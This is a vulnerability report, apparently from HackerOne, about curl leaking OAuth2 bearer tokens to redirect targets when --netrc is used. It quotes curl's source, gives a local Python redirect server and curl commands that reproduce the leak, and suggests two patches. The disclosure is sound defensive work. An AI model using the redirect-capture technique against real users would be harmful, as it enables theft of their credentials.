CVE-2026-3783: token leak with redirect and netrc

Disclosed: 2026-03-11 08:51:59 By spectreglobalsec To curl
Medium
Vulnerability Details
##Summary When `--oauth2-bearer` is used with `--netrc` and curl follows a redirect, the bearer token leaks to the redirect target. The netrc bypass at `http.c:822` skips `Curl_auth_allowed_to_host()`, allowing the token through. This is an incomplete fix for CVE-2025-14524 — the Dec 2025 SASL fix patched `curl_sasl.c` but missed the HTTP bearer path. This is an incomplete fix for the same vulnerability class as CVE-2025-14524. The Dec 2025 SASL bearer fix (commit `1a822275d3`, PR #19933) patched `lib/curl_sasl.c` but left the HTTP bearer path at `lib/http.c:704-714` unprotected. ## Version curl 8.10.1 (confirmed), also present in current master `d9c2c64337`. All versions supporting `--oauth2-bearer` with `--netrc` are affected. **The netrc bypass** (`lib/http.c:820-827`): ```c if(Curl_auth_allowed_to_host(data) #ifndef CURL_DISABLE_NETRC || conn->bits.netrc // <-- bypasses host check entirely #endif ) result = output_auth_headers(data, conn, authhost, request, path, FALSE); ``` **Bearer output with no host check** (`lib/http.c:704-714`): ```c if(authstatus->picked == CURLAUTH_BEARER) { if(!proxy && data->set.str[STRING_BEARER] && !Curl_checkheaders(data, STRCONST("Authorization"))) { auth = "Bearer"; result = http_output_bearer(data); // No Curl_auth_allowed_to_host() check here } } ``` **Custom -H Authorization IS correctly protected** (`lib/http.c:1828-1833`): ```c if((curlx_str_casecompare(&name, "Authorization") || curlx_str_casecompare(&name, "Cookie")) && !Curl_auth_allowed_to_host(data)) ; // Stripped - note: NO netrc bypass in this path ``` **Redirect path does NOT clear bearer** (`lib/http.c:1254-1257`): ```c if(clear) { Curl_safefree(data->state.aptr.user); Curl_safefree(data->state.aptr.passwd); // STRING_BEARER is NOT cleared // authhost->picked is NOT reset } ``` **SASL fix that missed the HTTP path** (`lib/curl_sasl.c:444-446`, commit `1a822275d3`): ```c const char *oauth_bearer = (!data->state.this_is_a_follow || data->set.allow_auth_to_other_hosts) ? data->set.str[STRING_BEARER] : NULL; ``` ## Reproduction Create a `.netrc` file with a default entry: ```bash echo "default login testuser password testpass" > /tmp/test-netrc ``` Save as `redirect_servers.py`: ```python import socket, threading, time def server_b(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('127.0.0.1', port)); s.listen(1) c, _ = s.accept() data = b"" while b"\r\n\r\n" not in data: data += c.recv(4096) req = data.decode() leaked = "Authorization: Bearer" in req print(f"\n{'='*50}") print(f"SERVER B RECEIVED:") print(req) print(f"BEARER LEAKED: {leaked}") print(f"{'='*50}\n") c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK") c.close(); s.close() def server_a(port_a, port_b): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('127.0.0.1', port_a)); s.listen(1) c, _ = s.accept() data = b"" while b"\r\n\r\n" not in data: data += c.recv(4096) c.sendall(f"HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:{port_b}/callback\r\nContent-Length: 0\r\nConnection: close\r\n\r\n".encode()) c.close(); s.close() threading.Thread(target=server_b, args=(8081,), daemon=True).start() time.sleep(0.5) server_a(8080, 8081) import time; time.sleep(2) ``` **Test 1 — Vulnerable (bearer leaks):** ```bash python3 redirect_servers.py & sleep 2 curl -v --oauth2-bearer "SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://127.0.0.1:8080/redirect ``` Result: Server B receives `Authorization: Bearer SECRET_TOKEN`. The token leaks to the redirect target. **Test 2 — Safe (custom -H header stripped correctly):** ```bash python3 redirect_servers.py & sleep 2 curl -v -H "Authorization: Bearer SECRET_TOKEN" --netrc-file /tmp/test-netrc -L http://127.0.0.1:8080/redirect ``` Result: Server B does NOT receive the Authorization header. Custom `-H` headers are correctly stripped via `http.c:1828-1833` which uses `Curl_auth_allowed_to_host()` WITHOUT the netrc bypass. **Test 3 — Safe (no netrc):** ```bash python3 redirect_servers.py & sleep 2 curl -v --oauth2-bearer "SECRET_TOKEN" -L http://127.0.0.1:8080/redirect ``` Result: Server B does NOT receive the bearer token. Without netrc, `Curl_auth_allowed_to_host()` correctly blocks the token. The three-way comparison proves the netrc bypass at `http.c:822` is the sole cause. ## Suggested Fix Option A — Add host check inside bearer output: ```c if(authstatus->picked == CURLAUTH_BEARER) { if(!proxy && data->set.str[STRING_BEARER] && Curl_auth_allowed_to_host(data) && // ADD THIS !Curl_checkheaders(data, STRCONST("Authorization"))) { ``` Option B — Exclude bearer from the netrc bypass: ```c if(Curl_auth_allowed_to_host(data) #ifndef CURL_DISABLE_NETRC || (conn->bits.netrc && !(authhost->picked & CURLAUTH_BEARER)) #endif ) ``` ## AI Disclosure AI assisted with initial codebase navigation and identifying candidate code regions for review. All code path analysis, vulnerability confirmation, reproduction testing, and report writing were performed manually by the researcher. The reproduction steps above were executed against curl built from source and the output verified by hand. ## Impact A user who uses `--oauth2-bearer` with `--netrc` and follows redirects will have their OAuth2 bearer token sent to the redirect target host if that host matches a `.netrc` entry (including the `default` keyword, which matches all hosts). The `.netrc` `default` keyword matches ALL hosts, meaning the token leaks to ANY redirect target. This is realistic for users who have `default` entries for FTP fallback credentials or CI/CD environments that use `.netrc` for package registry authentication. This is the same vulnerability class as three existing CVEs: | CVE | What leaks | Fix location | Status | |-----|-----------|-------------|--------| | CVE-2025-14524 | Bearer via SASL | `curl_sasl.c:444` | Fixed Dec 2025 | | CVE-2025-0167 | Netrc creds | url.c | Fixed | | CVE-2024-11053 | Netrc creds | url.c | Fixed | | **This finding** | Bearer via HTTP + netrc | `http.c:822` | **NOT FIXED** | The Dec 2025 SASL fix (commit `1a822275d3`) proves curl considers this class of bug CVE-worthy. The HTTP bearer path was simply missed during that fix.
Actions
View on HackerOne
Report Stats
  • Report ID: 3583983
  • State: Closed
  • Substate: resolved
  • Upvotes: 2
Share this report